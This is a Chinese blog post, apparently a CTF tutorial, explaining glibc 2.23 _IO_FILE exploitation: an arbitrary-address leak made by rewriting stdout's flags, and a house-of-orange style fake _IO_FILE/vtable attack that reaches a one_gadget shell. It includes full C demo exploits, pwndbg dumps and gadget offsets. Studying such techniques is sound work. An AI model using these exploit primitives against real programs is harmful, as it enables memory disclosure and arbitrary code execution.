All about fanda
All about fanda
GLIBC2.23 _IO_FILE基本利用技巧

_IO_FILE leak

  在ctf中有时候会遇到一些无法输出堆内容的题目,但是我们可以利用puts函数,修改stdout的_IO_FILE结构体来实现任意地址泄漏的手法。看过puts函数分析的话就会明白IO缓冲区的原理以及这些IO函数是维护了一个_IO_FILE结构体来控制输入输出的。

  而这个结构体也已经被大佬们分析出来并成为一种利用手法了,那么本节我们首先讲如何利用他来泄漏,看过分析puts的文章后我们知道系统调用write是从_IO_FILE的vtable中的overflow函数成功进去的,也就是说我们首先要让控制流进入_IO_OVERFLOW,然后我们从_IO_new_file_xsputn函数开始看:

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n')
                { 
                  count = p - s + 1;
                  must_flush = 1;
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
        count = to_do;
#ifdef _LIBC
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
      memcpy (f->_IO_write_ptr, s, count);
      f->_IO_write_ptr += count;
#endif
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
        /* If nothing else has to be written we must not signal the
           caller that everything has been written.  */
        return to_do == 0 ? EOF : n - to_do;

  接下来我们一步步构造如何控制_IO_OVERFLOW输出我们的预期地址的数据。首先这里的data代表puts的参数字符串,n是这个字符串的长度,如果我们构造了_IO_LINE_BUF&&_IO_CURRENTLY_PUTTING标志位的话,控制流会进入第一个for,但是p指向的字符串不一定会有一个换行符(因为puts的输出会自动加一个换行符,所以我们调用的时候不需要写换行符),因此must_flush并不一定会置零,情况还挺麻烦的,因此我们不构造这两个标志位,避免进入第一个循环。

  接下来有一个else if的条件,我们在这里也要绕过这个判断,为了规避下方to_do -= count;可能的麻烦,毕竟也许可以构造成功,但是规避了总更方便。然后下一个if (to_do + must_flush >0)判断就必须要满足了,因为must_flush初始化为0,to_do初始化为n参数,所以可以满足判断,进入_IO_OVERFLOW

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
        {
          _IO_doallocbuf (f);
          _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
        }
      /* Otherwise must be currently reading.
         If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
         logically slide the buffer forwards one block (by setting the
         read pointers to all point at the beginning of the block).  This
         makes room for subsequent output.
         Otherwise, set the read pointers to _IO_read_end (leaving that
         alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
        {
          size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
          _IO_free_backup_area (f);
          f->_IO_read_base -= MIN (nbackup,
                                   f->_IO_read_base - f->_IO_buf_base);
          f->_IO_read_ptr = f->_IO_read_base;
        }

      if (f->_IO_read_ptr == f->_IO_buf_end)
        f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end; 
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
        f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
                         f->_IO_write_ptr - f->_IO_write_base);

  第一个if的_IO_NO_WRITES是肯定不能进去的,一进去就直接返回前功尽弃了。往下我们同样避开满足if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)这个条件,因为下方对f->xxxx等成员的赋值会破坏我们想要输出的地址(后续会看到),必须绕过这个条件。然后因为调用此函数时ch参数是EOF,因此可以进入_IO_do_write

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
        = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
        return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);

  可以看到下方的_IO_SYSWRITE就是我们的目标了,就是这里进行了系统调用write输出内容,分析一下参数就可以知道,我们就是利用的_IO_write_base作为输出的起始地址,_IO_write_ptr - _IO_write_base就是输出的长度。接下来只剩下最后两个if了,如果我们满足else if的条件的话,还要经过一次_IO_SYSSEEK,比较麻烦,不知道会寻址到哪里去,不如直接构造_IO_IS_APPENDING标志位,_offset的设置无伤大雅,综上我们可以得出一个结论,要实现一次任意地址泄漏,我们可以如下构造:

  • _flags = 0xfbad0000;

  • flags |= _IO_CURRENTLY_PUTTING; //0x800

  • _flags |= _IO_IS_APPENDING; // 0x1000

  • _flags &= (~_IO_NO_WRITES); //0x8

  • _flags = 0xfbad1800;

  然后_IO_write_base_IO_write_ptr只需要指向我们想要的泄漏区间就行了,这样就能完成任意地址泄漏,demo如下:

#include <stdio.h>
#include <stdlib.h>
#include <libio.h>

typedef unsigned long long ull;

void setbufs()
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

int main()
{
    ull *p1, *p2, *p3, *p4, *p;
    _IO_FILE* pstdout;

    setbufs();

    // init the _IO_2_1_stdout_
    puts("hello,world!");
    pstdout = stdout;
    printf("&_flags:%llx\n", (ull)&pstdout->_flags);

    pstdout->_flags = (0xfbad0000 | _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING & (~_IO_NO_WRITES));
    *(unsigned char*)&pstdout->_IO_write_base = 0;
  // leak here
    puts("something");

    return 0;
}

/*
struct _IO_FILE {
  int _flags;
  char* _IO_read_ptr;   
  char* _IO_read_end;   
  char* _IO_read_base;  
  char* _IO_write_base; 
  char* _IO_write_ptr;  
  char* _IO_write_end;  
  char* _IO_buf_base;   
  char* _IO_buf_end;    
  char *_IO_save_base;
  char *_IO_backup_base;
  char *_IO_save_end;

  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; 

#define __HAVE_COLUMN 
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
 */

fake IO_FILE

  伪造_IO_FILE这个现在其实用的是比较多的,glibc2.23没有做什么检查,而glibc2.24开始就有对vtable做一些检查,但绕过也非常简单,这个系列主要是讲glibc2.23的,因此其他的就自行搜索其他资料吧,如果以后得空了说不定也会分析一下。

  最初ctf上伪造_IO_FILE的好像是一个叫house of orange的题目,利用原理就是用unsorted-bin attack修改了_IO_list_all指向的链表,然后故意触发错误从malloc_printerr一路到了伪造的vtable上的__overflow,就顺势getshell了。我们先从unsorted-bin attack修改的_IO_list_all开始分析吧:

        void *p1, *p2, *p3, *p4;
        ull *p;
        ull libc_base = 0;
        ull _IO_list_all = 0x3c5520;
        ull one_gadget = 0xf1147;

        setvbufs();
        p1=malloc(0x100);
        malloc(0x20);

        free(p1);
        malloc(0xa0);

        p2 = malloc(0x100);
        // now we have a 0x60 smallbin
        //
        // avoid smallbin to be alloced, use 0x100
        malloc(0x100);

        free(p2);
        libc_base = *(ull*)p2 - 0x3c4b78;
        *((ull*)p2+1) = libc_base+_IO_list_all - sizeof(void*)*2;

        malloc(0x100);

  这是一段利用完刚修改_IO_list_all的demo代码,为什么我们要修改_IO_list_all呢?因为这个全局变量是指向一个_IO_FILE结构体的_IO_2_1_stderr_,而这个_IO_FILE又是通过其中的_chain元素把每一个结构体串联在一起形成的链表,如果结构体有问题,那么在触发错误的时候系统会根据_chain查找到下一个节点。

  接下来我们再想想为什么要用unsorted-bin attack写入一个main_arena_IO_list_all里去呢?写入之后,其_chain是什么?没错,就是main_arena中smallbin数组的某个size索引的堆块位置处,而这个size就是0x60。如下unsorted-bin attack完成后的情况:

pwndbg> x/xg & _IO_list_all
0x7ffff7dd2520 <_IO_list_all>:    0x00007ffff7dd1b78
pwndbg> x/20xg & main_arena
0x7ffff7dd1b20 <main_arena>:  0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>:   0x0000000000000000  0x0000000000602360
0x7ffff7dd1b80 <main_arena+96>:   0x00000000006020b0  0x0000000000602140
0x7ffff7dd1b90 <main_arena+112>:  0x00007ffff7dd2510  0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:  0x00007ffff7dd1b88  0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:  0x00007ffff7dd1b98  0x00007ffff7dd1ba8
pwndbg> 
0x7ffff7dd1bc0 <main_arena+160>:  0x00007ffff7dd1ba8  0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>:  0x00007ffff7dd1bb8  0x00000000006020b0
0x7ffff7dd1be0 <main_arena+192>:  0x00000000006020b0  0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>:  0x00007ffff7dd1bd8  0x00007ffff7dd1be8
0x7ffff7dd1c00 <main_arena+224>:  0x00007ffff7dd1be8  0x00007ffff7dd1bf8
0x7ffff7dd1c10 <main_arena+240>:  0x00007ffff7dd1bf8  0x00007ffff7dd1c08
0x7ffff7dd1c20 <main_arena+256>:  0x00007ffff7dd1c08  0x00007ffff7dd1c18
0x7ffff7dd1c30 <main_arena+272>:  0x00007ffff7dd1c18  0x00007ffff7dd1c28
0x7ffff7dd1c40 <main_arena+288>:  0x00007ffff7dd1c28  0x00007ffff7dd1c38
0x7ffff7dd1c50 <main_arena+304>:  0x00007ffff7dd1c38  0x00007ffff7dd1c48
pwndbg> p *(struct _IO_FILE_plus*)0x00007ffff7dd1b78
$1 = {
  file = {
    _flags = 6300512, 
    _IO_read_ptr = 0x6020b0 "", 
    _IO_read_end = 0x602140 "", 
    _IO_read_base = 0x7ffff7dd2510 "", 
    _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "@!`", 
    _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "@!`", 
    _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", 
    _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", 
    _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", 
    _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", 
    _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", 
    _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", 
    _markers = 0x6020b0, 
    _chain = 0x6020b0, 
    _fileno = -136504360, 
    _flags2 = 32767, 
    _old_offset = 140737351850968, 
    _cur_column = 7144, 
    _vtable_offset = -35 '\335', 
    _shortbuf = <incomplete sequence \367>, 
    _lock = 0x7ffff7dd1be8 <main_arena+200>, 
    _offset = 140737351851000, 
    _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, 
    _wide_data = 0x7ffff7dd1c08 <main_arena+232>, 
    _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, 
    _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, 
    __pad5 = 140737351851032, 
    _mode = -136504280, 
    _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
  }, 
  vtable = 0x7ffff7dd1c38 <main_arena+280>
}
pwndbg> 

  _IO_list_all被修改为unsorted-bin list地址,然后用_IO_FILE结构体去看的话_chain就是size为0x60位置的smallbin地址。这样一来在查找链表下一个节点的时候刚好落在了我们的堆块上,也就是我们有了伪造_IO_FILE结构的机会。不知道为啥是0x60的话得去好好分析一下_int_malloc咯,我只能告诉你放入的关键代码是:

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

  接下来我们讲讲如何伪造_IO_FILE,假设我们触发一个堆错误,glibc里会调用malloc_printerr

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

  因为我们的double freelink corruption或者堆错误一般action参数都是check_action,其定义如下:

#ifndef DEFAULT_CHECK_ACTION
# define DEFAULT_CHECK_ACTION 3
#endif

static int check_action = DEFAULT_CHECK_ACTION;
/*
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
*/

  所以会调用__libc_message

/* Abort with an error message.  */
void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  // ...
  // balabala

    if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

  do_abort = 3&1 = 1,所以会调用abort()

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  // ...
  // balabala

    /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

  调用的fflush就是_IO_flush_all_lockp

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
#endif
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;

      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
        {
          /* Something was added to the list.  Start all over again.  */
          fp = (_IO_FILE *) _IO_list_all;
          last_stamp = _IO_list_all_stamp;
        }
      else
        fp = fp->_chain;
    }

  这里出现的_IO_OVERFLOW就是我们可以伪造的vtable上的函数指针,可以看到fp先指向_IO_list_all,后面有用fp = fp->_chain遍历。要使控制流到达我们的_IO_OVERFLOW需要满足:

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
||
(_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base)

  虽然第二个也可以,但是显然第一个看着就方便很多,我们直接构造为第一个就行:

        // fake _mode
        *p = 0;
        // _IO_write_base
        *(p+4) = 0;
        // _IO_write_ptr
        *(p+5) = 1;
        // __overflow in vtable
        *(p+3) = libc_base+one_gadget;
        // fake vtable
        *(ull*)((ull)p+0xd8) = (ull)p;

  这里的p指向我们伪造的_IO_FILE头部,只要这样构造好:

fp->_mode = 0;
fp->_IO_write_base = 0;
fp->_IO_write_ptr = 1;

  就能使_IO_OVERFLOW得到执行,而_IO_OVERFLOW又是_IO_FILE_plus中的vtable成员。偏移为0xd8,因此直接把vtable伪造为一个地址,然后在这个地址的_IO_OVERFLOW偏移(0x18)处放上one_gadget就可以了。完整demo如下:

#include <stdio.h>
#include <stdlib.h>
#include <libio.h>

typedef unsigned long long ull;

void setvbufs()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}
int main()
{
    void *p1, *p2, *p3, *p4;
    ull *p;
    ull libc_base = 0;
    ull _IO_list_all = 0x3c5520;
    ull one_gadget = 0xf1147;

    setvbufs();
    p1=malloc(0x100);
    malloc(0x20);

    free(p1);
    malloc(0xa0);

    p2 = malloc(0x100);
    // now we have a 0x60 smallbin
    //
    // avoid smallbin to be alloced, use 0x100
    malloc(0x100);

    free(p2);
    libc_base = *(ull*)p2 - 0x3c4b78;
    *((ull*)p2+1) = libc_base+_IO_list_all - sizeof(void*)*2;

    malloc(0x100);

    p = (ull*)((ull)p1+0xa0);
    // 'p' pointer to the chain of _IO_list_all
    // fake _mode
    *p = 0;
    // _IO_write_base
    *(p+4) = 0;
    // _IO_write_ptr
    *(p+5) = 1;
    // __overflow in vtable
    *(p+3) = libc_base+one_gadget;
    // fake vtable
    *(ull*)((ull)p+0xd8) = (ull)p;

    // unsorted bin is corrputed
    // just trigger it
    p3 = malloc(0x20);
    free(p3);
    free(p3);

    return 0;
}

/*
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
*/

发表评论

textsms
account_circle
email

All about fanda

GLIBC2.23 _IO_FILE基本利用技巧
_IO_FILE leak   在ctf中有时候会遇到一些无法输出堆内容的题目,但是我们可以利用puts函数,修改stdout的_IO_FILE结构体来实现任意地址泄漏的手法。看过puts函数分析的话就会…
扫描二维码继续阅读
2019-11-27